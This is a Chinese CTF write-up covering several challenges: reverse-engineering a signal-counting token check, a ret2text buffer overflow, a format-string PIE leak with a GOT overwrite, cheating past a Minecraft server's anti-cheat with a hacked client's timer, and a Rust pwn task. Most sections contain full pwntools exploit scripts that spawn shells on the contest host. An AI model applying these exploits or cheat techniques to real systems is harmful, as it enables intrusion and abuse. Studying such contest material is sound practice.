0x00 前言
被Redbud的大佬 Wallace 带着打的第一个国际赛,rank global 24/234,最后倒在了Rust的手下,这个实在没办法,逆向逆不明白,等wp好好复现。
个人解题情况如下,crypto就不写了www

0x01 題解
sigdance
Dance to the rhythm of your hear…SIGKILLED
个人认为这道实际上是一道 re 题目,题目给出了 main.c
, plugin.c
以及 server.py
。简单看下 main 吧
int main() { unsigned A, U; compute_counts(&A, &U); uint32_t PID = (uint32_t)getpid(); srand((unsigned)time(NULL) ^ PID ^ A ^ U); printf("Hello from pid8 = %u\n", (unsigned)(PID & 255u)); fflush(stdout);
void *h = dlopen("./libcore.so", RTLD_NOW | RTLD_LOCAL); if (!h) return 2; int (*verify)(uint32_t, uint32_t, uint32_t, uint32_t) = dlsym(h, "verify"); if (!verify) return 3;
char buf[256]; while (fgets(buf, sizeof(buf), stdin)) { char *e = buf; uint32_t prov = strtoul(buf, &e, 0); int ok = verify(prov, (uint32_t)A, (uint32_t)U, PID); if (ok) { const char *f = getenv("FLAG"); if (!f) f = "FLAG{missing}"; puts(f); dlclose(h); return 0; } else { puts("nope"); fflush(stdout); } } dlclose(h); return 0; } ```nc 连接靶机会得到 `PID`, 观察到在 `main.c` 中并没有直接实现 `verify` 函数,但是不要紧,就在 `plugin.c` 中 ```c #include <stdint.h>
int verify(uint32_t provided, uint32_t ac, uint32_t uc, uint32_t pid) { uint32_t token = ((ac << 16) ^ (uc << 8) ^ (pid & 255u)); return provided == token; }
|
所以简单看一下 A 和 U 的生成
static void compute_counts(unsigned *A, unsigned *U) { ac = 0; uc = 0; sigset_t unb; sigemptyset(&unb); sigaddset(&unb, SIGALRM); sigaddset(&unb, SIGUSR1); pthread_sigmask(SIG_UNBLOCK, &unb, NULL);
struct sigaction sa1; memset(&sa1, 0, sizeof(sa1)); sigemptyset(&sa1.sa_mask); sa1.sa_flags = SA_RESTART; sa1.sa_handler = h_alrm; sigaction(SIGALRM, &sa1, NULL); struct sigaction sa2; memset(&sa2, 0, sizeof(sa2)); sigemptyset(&sa2.sa_mask); sa2.sa_flags = SA_RESTART; sa2.sa_handler = h_usr1; sigaction(SIGUSR1, &sa2, NULL);
struct itimerval it; it.it_value.tv_sec = 0; it.it_value.tv_usec = 7000; it.it_interval.tv_sec = 0; it.it_interval.tv_usec = 7000; setitimer(ITIMER_REAL, &it, NULL);
pthread_t t; pid_t me = getpid(); pthread_create(&t, NULL, th, &me);
struct timespec s = {0, 777000000}; nanosleep(&s, NULL);
setitimer(ITIMER_REAL, &(struct itimerval){0}, NULL); pthread_join(t, NULL);
*A = (unsigned)ac; *U = (unsigned)uc; }
|
U
: 一个线程向主进程发送13次 SIGUSR1
信号,信号处理器会对一个全局变量 uc
进行累加。因此,U
的值是确定的,因此 U = 13
A
: 程序设置了一个定时器,在777毫秒内,每7毫秒触发一次 SIGALRM
信号。信号处理器会对全局变量 ac
进行累加。因此,A
的理论值是 777÷7=111。这个值非常稳定,可以认为是 A = 111
。
AI answer 罢了, 也就是说 A 和 U 都是固定不变的值,我们可以照搬 main.c
中 A 和 U 的生成函数,接着逆向 verify
函数,生成 token,公式为:
Exp:
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <time.h> #include <pthread.h> #include <sys/time.h> #include <dlfcn.h>
static volatile sig_atomic_t ac = 0, uc = 0; static void h_alrm(int s) { (void)s; ac++; } static void h_usr1(int s) { (void)s; uc++; } static void *th(void *arg) { pid_t pid = *(pid_t *)arg; struct timespec ts = {0, 5000000}; for (int i = 0; i < 13; i++) { nanosleep(&ts, NULL); kill(pid, SIGUSR1); } return NULL; } static void compute_counts(unsigned *A, unsigned *U) { ac = 0; uc = 0; sigset_t unb; sigemptyset(&unb); sigaddset(&unb, SIGALRM); sigaddset(&unb, SIGUSR1); pthread_sigmask(SIG_UNBLOCK, &unb, NULL); struct sigaction sa1; memset(&sa1, 0, sizeof(sa1)); sigemptyset(&sa1.sa_mask); sa1.sa_flags = SA_RESTART; sa1.sa_handler = h_alrm; sigaction(SIGALRM, &sa1, NULL); struct sigaction sa2; memset(&sa2, 0, sizeof(sa2)); sigemptyset(&sa2.sa_mask); sa2.sa_flags = SA_RESTART; sa2.sa_handler = h_usr1; sigaction(SIGUSR1, &sa2, NULL); struct itimerval it; it.it_value.tv_sec = 0; it.it_value.tv_usec = 7000; it.it_interval.tv_sec = 0; it.it_interval.tv_usec = 7000; setitimer(ITIMER_REAL, &it, NULL); pthread_t t; pid_t me = getpid(); pthread_create(&t, NULL, th, &me); struct timespec s = {0, 777000000}; nanosleep(&s, NULL); setitimer(ITIMER_REAL, &(struct itimerval){0}, NULL); pthread_join(t, NULL); *A = (unsigned)ac; *U = (unsigned)uc; }
int main() { unsigned A, U; compute_counts(&A, &U); uint32_t PID = (uint32_t)getpid(); srand((unsigned)time(NULL) ^ PID ^ A ^ U); printf("Hello from pid8 = %u\n", (unsigned)(PID & 255u)); fflush(stdout);
uint32_t correct_prov = ((uint32_t)A << 16) ^ ((uint32_t)U << 8) ^ (PID & 255u); printf("DEBUG INFO (Corrected):\n"); printf(" A = %u\n", A); printf(" U = %u\n", U); printf(" PID & 255 = %u\n", (PID & 255u)); printf(" ==> Please input this number: %u\n", correct_prov); fflush(stdout);
void *h = dlopen("./libcore.so", RTLD_NOW | RTLD_LOCAL); if (!h) return 2; int (*verify)(uint32_t, uint32_t, uint32_t, uint32_t) = dlsym(h, "verify"); if (!verify) return 3;
char buf[256]; while (fgets(buf, sizeof(buf), stdin)) { char *e = buf; uint32_t prov = strtoul(buf, &e, 0); int ok = verify(prov, (uint32_t)A, (uint32_t)U, PID); if (ok) { const char *f = getenv("FLAG"); if (!f) f = "FLAG{missing}"; puts(f); dlclose(h); return 0; } else { puts("nope"); fflush(stdout); } } dlclose(h); return 0; }
|
baby-bof
This is your first pwn challenge.
看题目估计是 buffer over flow,本次的 pwn 签到,checksec 先
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
Ida 看看

简单的 ret2text
Exp:
from pwn import * from ctypes import * import struct
context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/challenge' elf=ELF(file)
choice = 0x00 if choice: port= 9680 ac = 'ctf.ac.upt.ro' p = remote(ac,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
ret = 0x0000000000401016 shell = 0x000000000401196 payload =b'a'*0x48+flat(ret,shell) sl(payload) itr()
|
Fini
Hope you can FINIsh this challenge.
先 checksec
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
|
有 PIE,上 ida 看看
首先是格式话字符串漏洞,用来泄露 PIE_BASE。接着往下看,程序有两个分支,一个是 write,跟进一下
相当于是直接提供了一个任意地址写的功能,然后是 exit
用了 exit(0)
,同时发现程序中存在后门函数
所以我们先利用 fmtstr 漏洞泄露出 PIE_BASE
,然后利用自带的任意地址写来讲 exit_got 写成后门函数,最后选择 exit 分支即可.

PIE_BASE
的位置:
pwndbg> dist 0x7ffddae62aa8 $rsp 0x7ffddae62aa8->0x7ffddae62a00 is -0xa8 bytes (-0x15 words) pwndbg> p 0xa8/8 + 6 $7 = 27
|
使用 27 或者 31 都可以,都在栈上,图片没截进去
Exp:
from pwn import * from ctypes import * import struct
context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/challenge' elf=ELF(file)
choice = 0x00 if choice: port= 9690 ac = 'ctf.ac.upt.ro' p = remote(ac,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,cmd)
payload =b'%31$p' sla('What\'s your name?\n',payload) ru('Hello, ') main = int(r(14),16) leak('main') exit_got = main + elf.got['exit'] - 0x00000000000010B0 leak('exit_got') shell = main + 0x000000000001380 - 0x00000000000010B0
sla('> ',b'1') sla('Addr (hex): ',str(hex(exit_got))) sla('Value (hex, 8 bytes): ',str(hex(shell)))
sla('> ',b'2') itr()
|
Minecrafty
Join my very own minecraft server and have some fun! Don’t forget to visit our tourist spot to get your flag.
比较重量级的一题,直到比赛结束都只有 11 个解。又是非常规 pwn,看了一眼附件,给的是一个 minecraft 的服务器,是的你没看错
文件结构大概如下,貌似不是那种常规的,而是用 go 改写过的,在 go.mod
文件中能够找到所使用的游戏版本
我知道的东西就到此结束了,接下来就是自己慢慢摸索+运气的过程。首先我在下载 PCL2 也就是 mc 启动器的时候大概翻了一下代码,结果在 game/chat.go
这个文件中发现了这样一段判断代码
switch string(message) { case "!flag": x := int32(player.Position[0]) y := int32(player.Position[1]) z := int32(player.Position[2]) if x != 69420 || y != 69420 || z != 69420 { c.SendPlayerChat( player.UUID, 0, signature, &sign.PackedMessageBody{ PlainMsg: fmt.Sprintf("ctf{try_harder} Your Position: %d %d %d Expected Position: 69420 69420 69420", x, y, z), Timestamp: timestamp, Salt: int64(salt), LastSeen: []sign.PackedSignature{}, }, nil, &sign.FilterMask{Type: 0}, &chatType, ) } else { c.SendPlayerChat( player.UUID, 0, signature, &sign.PackedMessageBody{ PlainMsg: "ctf{redacted}", Timestamp: timestamp, Salt: int64(salt), LastSeen: []sign.PackedSignature{}, }, nil, &sign.FilterMask{Type: 0}, &chatType, ) }
|
大概问了下 ai 和玩 mc 的朋友,这段代码实现的是当我们在聊天框输入 !flag
,就会判断玩家所在的位置 (x,y,z) 是否在 (69420,69420,69420) 上,如果在,则得到 flag。反正先进游戏看看…
自己用 docker 把服务器搭起来尝试一下,进游戏之后虽然是创造模式,但是离目标坐标点依旧很远,xyz 都 200 以内,而且没有 op
(指令) 可以用
因为没学过 go,所以光看代码看不出有什么问题,int32()
溢出的话也不现实。在朋友的推荐下,尝试直接开挂玩,mc 开挂貌似不是什么难事,甚至有很多专门的 hacked client
。这里用了 wurst client 找到需要的 minecraft 版本安装配置就行,这里就不再作过多叙述。简单浏览一下这个外挂客户端能做什么 Wurst.wiki 在游戏中尝试过
但是服务器有作弊检测,会马上把角色拉回去,就算绑定热键 tp
和发送 !flag
同时进行也不行。
某次不知道为什么直接留在那边了,可以看到我的位置显示是在目标地点,但实际是 0,0,0
在经过一系列搜索后我发现了 timer
这个功能,虽然他在 wiki 上的页面不见了,但他的大概功能就是 天堂制造
,对没错就是他
可以加速游戏进行的时间,在论坛上有关于这个功能的解释
how does timer work on multiplayer?
当中提到:
在本地的时钟上动手脚,欺骗服务器,然后给我们加速。Timer
能极大加快我们的移动速度,大概能加个 20 倍,所以我直接开了这个硬生生飞过去目的地了,中间还经历了断线、跑错存档,不过最后也是有惊无险地拿到 flag
很有意思的一道题目
teenage-rof (待复现)
Wait, they said this language doesn’t work like that…
Checksec 一下
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
丢到 ida 里一看发现什么都看不懂,大概搜索了一下
是 rust 写的,比赛时大概把程序逻辑捋清楚了。程序有 3 个主要分支,写,打印,执行
写的话主要是往栈/堆上写,两个都有,当时 gdb 看到了,而且输入长度可以自定义,存在溢出
打印也是一样的,长度自定义且不被 b'\x00'
截断,可以用来泄露 PIE_BASE
最后就是执行,从写功能的起始地址+ 0x20
开始执行
但是由于程序去掉了符号表加上这是 rust 导致逆向难度极大,到最后也没发现程序中放了个读 flag 的函数… 惜败了
偷了个大佬的 exp 先放在这里,等我复现完了回来补上这篇 wp
from pwn import * from ctypes import * import struct
context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/teenage-rof' elf=ELF(file)
choice = 0x001 if choice: port= 9690 ac = 'ctf.ac.upt.ro' p = remote(ac,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear') def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,'b *$rebase(0x00000000000079CA)') def write(len,content): sla('4 exit\n',b'1') sla('n bytes:\n',str(len)) sl(content)
def show(len): sla('4 exit\n',b'2') sla('len:\n',str(len))
def run(): sla('4 exit\n',b'3')
show(112) r(48*2) win_addr = u64(bytes.fromhex(r(16).strip().decode())) leak('win_addr') debug() base_addr = win_addr - 0x1a65 leak('base_addr')
payload = b'a'*32 + p64(win_addr) write(112,payload) run()
itr()
|